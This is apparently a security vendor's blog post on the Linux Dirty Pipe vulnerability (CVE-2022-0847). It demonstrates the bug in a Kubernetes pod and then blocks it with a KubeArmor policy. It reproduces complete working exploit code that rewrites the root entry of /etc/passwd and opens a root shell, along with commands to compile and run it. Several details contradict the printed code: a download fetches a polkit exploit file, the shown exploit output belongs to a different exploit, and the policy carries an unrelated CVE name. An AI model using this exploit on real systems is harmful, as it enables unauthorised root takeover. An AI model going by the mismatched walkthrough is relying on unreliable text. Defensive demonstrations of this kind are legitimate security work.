ask ada icon

Ask Ada

BETA

Gen-AI Based
Cloud Security

Protecting against CVE-2022-0847 Dirty Pipe Vulnerability

by AccuKnox Team | December 01, 2023

What is Dirty Pipe Vulnerability aka CVE-2022-0847? The Dirty Pipe vulnerability is a security flaw, another local privilege escalation bug in the Linux kernel. Local unprivileged users can utilize an easily exploitable vulnerability in the Linux kernel CVE-2022-0847, often known as Dirty Pipe, to get root capabilities on compromised systems by using publicly available exploits. Technical […]

Reading Time: 6 minutes

Introduction

In the world of cybersecurity, new vulnerabilities consistently arise, highlighting the importance of proactive defense measures. Dirty Pipe vulnerability is one such vulnerability. Today in this blog post, we will aim to shed light on this Dirty Pipe vulnerability, its impact, and the measures taken to mitigate the risks associated with it leveraging AccuKnox.

💡TL;DR

  • The Dirty Pipe vulnerability is a security flaw and another local privilege escalation bug in the Linux kernel.
  • Local unprivileged users can utilize an easily exploitable vulnerability in the Linux kernel, CVE-2022-0847, often known as Dirty Pipe, to get root capabilities on compromised systems by using publicly available exploits.
  • We show you the real-time exploit for the dirty pipe vulnerability in action by deploying the pod, testing the exploit capabilities, and finally blocking access to shell access using AccuKnox Open Source.
  • Affected Kernel Versions: 1–5.82–5.10.963–5.16.10 Sandbox Environment Setup for Dirty Pipe.
  • The Dirty Pipe vulnerability will be showcased using an Ubuntu Docker image deployed to a Kubernetes cluster; you can even use Debian if you want.

What is Dirty Pipe Vulnerability aka CVE-2022-0847?

The Dirty Pipe vulnerability is a security flaw, another local privilege escalation bug in the Linux kernel. Local unprivileged users can utilize an easily exploitable vulnerability in the Linux kernel CVE-2022-0847, often known as Dirty Pipe, to get root capabilities on compromised systems by using publicly available exploits.

Technical Summary of CVE-2022-0847

Before we get into the technical specifics, there are a few terms we should be aware of.

1. Pipe: A pipe is nothing more than a method for one application to deliver data to another.

2. Page Splicing: A performance hack that allows you to combine data from various pipe pages without having to rewrite it to memory.

Combined Pipe Page Caches are overwritten and are considered to be easily exploitable in Linux kernel memory management. This vulnerability was first discovered in Linux 5.8 when it became possible to combine and rewrite data in a pipe’s page cache, according to the disclosure report. AppArmor and Seccomp are important for keeping systems safe, but they do not prevent this vulnerability from being exploited.

Once the attacker has gained access to the victim’s computer, he can get root access and take total control of the system. Further, we will show you realtime exploit for Dirty Pipe Vulnerability in action by deploying the pod and testing the exploit capabilities, and finallly block access to shell access using AccuKnox Open Source.

Affected Kernel Versions:

1 – 5.8
2 – 5.10.96
3 – 5.16.10

Sandbox Environment Setup for Dirty Pipe Vulnerability:

We are going to showcase Dirty Pipe vulnerability using an ubuntu docker image deployed to a Kubernetes cluster, you can use even debian if you want. To deploy this in you k8s Cluster, you can use the below YAML or use the deployment file from AccuKnox Samples GitHub Repository.

apiVersion: apps/v1
kind: Deployment
metadata:
creationTimestamp: null
labels:
app: ubuntu-dirty-pipe-poc
name: ubuntu-dirty-pipe-poc
spec:
replicas: 1
selector:
matchLabels:
app: ubuntu-dirty-pipe-poc
strategy: {}
template:
metadata:
creationTimestamp: null
labels:
app: ubuntu-dirty-pipe-poc
spec:
containers:
– image: knoxuser/dirty-pipe-poc
name: ubuntu-dirty-pipe-poc
command: [“/bin/sleep”, “3650d”]

You can use below command to deploy polkit in your K8s:
AccuKnox:~# kubectl create -f

https://raw.githubusercontent.com/accuknox/samples/main/dirtypipe-vulnerability/deployment.yaml

deployment.apps/ubuntu-dirty-pipe-poc created

To check the pods use below command
kubectl get pods
Output from kubectl get pods

NAME READY STATUS RESTARTS AGE
ubuntu-dirty-pipe-poc-585f58fb8d-cf7cj 1/1 Running 0 15s

Exploit Code for CVE-2022-0847

#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all “bufs” on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its “flags”, the buffer
will be mergeable */
}int main() {
const char *const path = “/etc/passwd”;printf(“Backing up /etc/passwd to /tmp/passwd.bak …\n”);
FILE *f1 = fopen(“/etc/passwd”, “r”);
FILE *f2 = fopen(“/tmp/passwd.bak”, “w”);if (f1 == NULL) {
printf(“Failed to open /etc/passwd\n”);
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf(“Failed to open /tmp/passwd.bak\n”);
fclose(f1);
exit(EXIT_FAILURE);
}

char c;
while ((c = fgetc(f1)) != EOF)
fputc(c, f2);

fclose(f1);
fclose(f2);

loff_t offset = 4; // after the “root”
const char *const data = “:$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n”;
// openssl passwd -1 -salt aaron aaron
printf(“Setting root password to \”aaron\”…\n”);
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, “Sorry, cannot start writing at a page boundary\n”);
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE – 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, “Sorry, cannot write across a page boundary\n”);
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! 🙂
if (fd < 0) { perror(“open failed”); return EXIT_FAILURE; } struct stat st;
if (fstat(fd, &st)) { perror(“stat failed”); return EXIT_FAILURE; }
if (offset > st.st_size) {
fprintf(stderr, “Offset is not inside the file\n”);
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, “Sorry, cannot enlarge the file\n”);
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
“flags”, PIPE_BUF_FLAG_CAN_MERGE is still set */
–offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror(“splice failed”);
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, “short splice\n”);
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror(“write failed”);
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, “short write\n”);
return EXIT_FAILURE;
}

char *argv[] = {“/bin/sh”, “-c”, “(echo aaron; cat) | su – -c \””
“echo \\\”Restoring /etc/passwd from /tmp/passwd.bak…\\\”;”
“cp /tmp/passwd.bak /etc/passwd;”
“echo \\\”Done! Popping shell… (run commands now)\\\”;”
“/bin/sh;”
“\” root”};
execv(“/bin/sh”, argv);

printf(“system() function call seems to have failed :(\n”);
return EXIT_SUCCESS;
}

Exploit in Action:

Now compile & run the exploit code using gcc. Also you can directly download the exploit from AccuKnox Samples GitHub Repository.

Now execute into the pod and download the exploit code. Exploit for CVE-2022-0847 can be downloaded form here. It can be complied using gcc.

kubectl exec -it ubuntu-dirty-pipe-poc-585f58fb8d-cf7cj — bash
demo@ubuntu-dirty-pipe-poc-585f58fb8d-cf7cj:~/tmp$ curl -sfL https://raw.githubusercontent.com/accuknox/samples/main/polkit-vulnerability/cve-2021-4034.c -o cve-2021-4034.c

Note: Pod name will vary a/c to your enviornment, and will be in format ubuntu-dirty-pipe-poc-xxxxxxxxx-xxxxx

Let’s look at output of the id command before we perform the exploit.
Output from id command –

uid=1000(demo) gid=1000(demo) groups=1000(demo)

As you can see, demo is a non-root user who does not have root rights. As a result, the demo user will only have limited permissions and will be unable to access or alter programs and configuration files that root users can.

demo@ubuntu-dirty-pipe-poc-585f58fb8d-cf7cj:~/tmp$ gcc dirty-pipe-cve-2022-0847.c -o dirty-pipe-cve-2022-0847
demo@ubuntu-dirty-pipe-poc-585f58fb8d-cf7cj:~/tmp$ ./dirty-pipe-cve-2022-0847

After entering above exploit we should have gained root access. You can confirm this by running id command again, and you’ll see difference in output this time.

Output from ./dirty-pipe-cve-2022-0847, id & whoami command

…Trimmed Output…
[*] Done heap overflow
[*] Overflow
check heap to check preparedness for ignition
[*] Attempt at igniting RDP!
ROOOOOOOOOOOT
uid=0(root) gid=0(root) groups=0(root),1000(demo)
root

KubeArmor Security Policy

KubeArmor will secure the cloud workloads and kubernetes. Accuknox enforces application policies and hardening using KubeArmor, our open-source runtime security enforcement system that restricts the behavior (such as process execution, file access, and networking operations) of pods, containers, and nodes (VMs) at the system level.

KubeArmor Security Policy restrict the behavior (such as process execution, file access, and networking operation) of containers and nodes at the system level. Below is one such policy which can protect our system from polkit vulnerability.

# KubeArmor is an open-source software that enables you to protect your cloud workload at run-time.
# To learn more about KubeArmor visit:
# https://www.accuknox.com/kubearmor/

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: ksp-block-dirtypipe-cve-2019-19844
namespace: default #change default namespace to match your namespace
spec:
tags: [“Linux”, “CVE”, “VM”, “CVE-2022-0847”, “root-access”, “write-access”,”read-only-file”]
message: “Alert! Root Access is Blocked.”
selector:
matchLabels:
app : ubuntu #change label app: ubuntu to match your requirement
file:
severity: 2
matchPaths:
– path: /tmp/passwd.bak
– path: /etc/passwd
action: Block
process:
severity: 2
matchPaths:
– path: /bin/sh
– path: /tmp/sh
action: Block

To install KubeArmor follow this commands

curl -sfL http://get.kubearmor.io/ | sudo sh -s — -b /usr/local/bin
karmor install

Once the KubeArmor installation is done, execute the below command in your terminal to apply above policy

AccuKnox:~# kubectl create -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-block-dirtypipe-cve-2019-19844.yaml

After applying the policy, execute into the ubuntu pod to regain the root access by running the same script file.

demo@ubuntu-dirty-pipe-poc-585f58fb8d-cf7cj:~/tmp$ ./dirty-pipe-cve-2022-0847

Now this time after we’ve applied our policy, exploit will not work and hence user permission is not elevated to root.

Output from ./dirty-pipe-cve-2022-0847-

[*] Spraying kmalloc-32
[*] Opening ext4 filesystem
fsopen: Remember to unshare

To check realtime logs we’ll be using KubeArmor relay to forward logs to our local system.

kubectl -n kube-system port-forward service/kubearmor –address 0.0.0.0 –address :: 32767:32767

Realtime Logs Streaming via karmor binary:

karmor logs –json

You should see output similar to this

{
“Timestamp”: 1644341806,
“UpdatedTime”: “2022-02-08T17:36:46.351002Z”,
“ClusterName”: “rk-dev-saas”,
“HostName”: “ip-10-4-3-81”,
“NamespaceName”: “default”,
“PodName”: “ubuntu-dirty-pipe-poc-585f58fb8d-cf7cj”,
“ContainerID”: “60ab5b60287c2a01a097c45682cdb503d9c0cb27fa7baeeb7b3e1908b369b030”,
“ContainerName”: “ubuntu-dirty-pipe-poc”,
“HostPID”: 27117,
“PID”: 10,
“PPID”: 28,
“UID”: 1000,
“PolicyName”: “ksp-block-dirtypipe-cve-2019-19844”,
“Severity”: “2”,
“Tags”: “Linux,CVE,VM,CVE-2022-0847,root-access,write-access,read-only-file”,
“Message”: “Alert! Root Access is Blocked.”,
“Type”: “MatchedPolicy”,
“Source”: “./dirty-pipe-cve-2022-0847”,
“Operation”: “File”,
“Resource”: “/proc/28/stat”,
“Data”: “syscall=SYS_OPENNAT fd=-100 flags=/proc/self/stat”,
“Action”: “Block”,
“Result”: “Permission denied”,
“ContainerImage”: “dirty-pipe-poc@sha256:12552af0c8a6a6c809dff365577903882c3002081980692243e3e1ce3459cd84”
}

According to the logs, KubeArmor was able to successfully block the vulnerable binary from being executed and generate real-time alerts.

Generating a Zero-trust policies with KubeArmor discovery engine:

We can generate zero-trust policies based on your workloads by installing discovery engine

AccuKnox:~# kubectl create -f https://raw.githubusercontent.com/kubearmor/discovery-engine/dev/deployments/k8s/deployment.yaml

To retrieve the auto discovered policies you can use:

karmor discover -n wordpress-mysql -l “app=wordpress” -f yaml

This discovers the policies for a workload in wordpress-mysql namespace having label app=wordpress.

Output from karmor discover -n wordpress-mysql -l “app=wordpress” -f yaml

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: autopol-system-3960684242
namespace: wordpress-mysql
spec:
action: Allow
file:
matchPaths:
– fromSource:
– path: /usr/sbin/apache2
path: /dev/urandom
– fromSource:
– path: /usr/local/bin/php
path: /etc/hosts
network:
matchProtocols:
– fromSource:
– path: /usr/local/bin/php
protocol: tcp
– fromSource:
– path: /usr/local/bin/php
protocol: udp
process:
matchPaths:
– path: /usr/sbin/apache2
– path: /usr/local/bin/php
selector:
matchLabels:
app: wordpress
severity: 1

Conclusion

We have demonstrated how simple it is to run a script file and get root access in order to gather information from the victim machine. Information from several organizations can be exploited and used against them. An organization will suffer a loss as a result of this.

KubeArmor, a cloud run-time security technology developed by AccuKnox, used to secure the incident. We have solutions for every threat in your cloud environment and virtual machine. Check out the links below to learn more about AccuKnox and its products.

KubeArmor website: https://kubearmor.io/

KubeArmor GitHub: https://github.com/kubearmor/KubeArmor

KubeArmor Slack: Join Us

Accuknox Office Hours: Defending against CVE-2021-4034 Polkit with AccuKnox

Policy and Deployment files used in this blog: AccuKnox Samples GitHub Repository

Protect your cloud workloads today using AccuKnox, leveraging Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you are seeking additional guidance in planning your cloud security program.

You cannot secure what you cannot see.

Your most sensitive information is stored on cloud and on premise infrastructure. Protect what is most important from cyber attacks. Real-time autonomous protection for your network's edges.

Ready to get started?

BOOK A DEMO